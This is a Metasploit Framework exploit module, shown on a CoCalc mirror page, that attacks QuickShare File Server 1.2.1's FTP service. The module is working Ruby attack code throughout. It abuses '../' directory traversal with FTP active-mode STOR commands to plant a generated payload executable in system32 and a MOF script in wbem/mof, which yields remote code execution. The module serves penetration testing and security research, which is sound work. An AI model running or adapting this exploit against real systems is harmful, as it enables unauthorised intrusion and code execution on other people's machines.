CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/quickshare_traversal_write.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Ftp
10
include Msf::Exploit::Remote::TcpServer
11
include Msf::Exploit::EXE
12
include Msf::Exploit::WbemExec
13
14
def initialize(info={})
15
super(update_info(info,
16
'Name' => "QuickShare File Server 1.2.1 Directory Traversal Vulnerability",
17
'Description' => %q{
18
This module exploits a vulnerability found in QuickShare File Server's FTP
19
service. By supplying "../" in the file path, it is possible to trigger a
20
directory traversal flaw, allowing the attacker to read a file outside the
21
virtual directory. By default, the "Writable" option is enabled during account
22
creation, therefore this makes it possible to create a file at an arbitrary
23
location, which leads to remote code execution.
24
},
25
'License' => MSF_LICENSE,
26
'Author' =>
27
[
28
'modpr0be', #Discovery, PoC
29
'sinn3r' #Metasploit
30
],
31
'References' =>
32
[
33
['OSVDB', '70776'],
34
['EDB', '16105'],
35
['URL', 'http://www.quicksharehq.com/blog/quickshare-file-server-1-2-2-released.html'],
36
['URL', 'http://www.digital-echidna.org/2011/02/quickshare-file-share-1-2-1-directory-traversal-vulnerability/']
37
],
38
'Payload' =>
39
{
40
'BadChars' => "\x00"
41
},
42
'DefaultOptions' =>
43
{
44
'EXITFUNC' => 'thread'
45
},
46
'Platform' => 'win',
47
'Targets' =>
48
[
49
['QuickShare File Server 1.2.1', {}]
50
],
51
'Stance' => Msf::Exploit::Stance::Aggressive,
52
'Privileged' => false,
53
'DisclosureDate' => '2011-02-03',
54
'DefaultTarget' => 0))
55
56
register_options(
57
[
58
# Change the default description so this option makes sense
59
OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
60
])
61
end
62
63
64
def check
65
connect
66
disconnect
67
68
if banner =~ /quickshare ftpd/
69
return Exploit::CheckCode::Detected
70
else
71
return Exploit::CheckCode::Safe
72
end
73
end
74
75
76
def on_client_connect(cli)
77
peer = "#{cli.peerhost}:#{cli.peerport}"
78
79
case @stage
80
when :exe
81
print_status("Sending executable (#{@exe.length.to_s} bytes)")
82
cli.put(@exe)
83
@stage = :mof
84
85
when :mof
86
print_status("Sending MOF (#{@mof.length.to_s} bytes)")
87
cli.put(@mof)
88
end
89
90
cli.close
91
end
92
93
94
def upload(filename)
95
select(nil, nil, nil, 1)
96
97
peer = "#{rhost}:#{rport}"
98
print_status("Trying to upload #{::File.basename(filename)}")
99
100
# We can't use connect_login, because it cannot determine a successful login correctly.
101
# For example: The server actually returns a 503 (Bad Sequence of Commands) when the
102
# user has already authenticated.
103
conn = connect(false, datastore['VERBOSE'])
104
105
res = send_user(datastore['FTPUSER'], conn)
106
107
if res !~ /^(331|2)/
108
fail_with(Failure::BadConfig, "The server rejected our username: #{res.to_s}")
109
end
110
111
res = send_pass(datastore['FTPPASS'], conn)
112
if res !~ /^(2|503)/
113
fail_with(Failure::BadConfig, "The server rejected our password: #{res.to_s}")
114
end
115
116
# Switch to binary mode
117
print_status("Set binary mode")
118
send_cmd(['TYPE', 'I'], true, conn)
119
120
# Prepare active mode: Get attacker's IP and source port
121
src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
122
src_port = datastore['SRVPORT'].to_i
123
124
# Prepare active mode: Convert the IP and port for active mode
125
src_ip = src_ip.gsub(/\./, ',')
126
src_port = "#{src_port/256},#{src_port.remainder(256)}"
127
128
# Set to active mode
129
print_status("Set active mode \"#{src_ip},#{src_port}\"")
130
send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)
131
132
# Tell the FTP server to download our file
133
send_cmd(['STOR', filename], false, conn)
134
135
disconnect(conn)
136
end
137
138
139
def exploit
140
trigger = '../../../../../../../../'
141
exe_name = "#{trigger}WINDOWS/system32/#{rand_text_alpha(rand(10)+5)}.exe"
142
mof_name = "#{trigger}WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.vbs"
143
@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
144
@exe = generate_payload_exe
145
@stage = :exe
146
147
begin
148
t = framework.threads.spawn("reqs", false) {
149
begin
150
# Upload our malicious executable
151
u = upload(exe_name)
152
153
# Upload the mof file
154
upload(mof_name) if u
155
rescue ::Exception => e
156
print_error e.message
157
cleanup
158
end
159
}
160
super
161
ensure
162
t.kill
163
end
164
end
165
end
166
167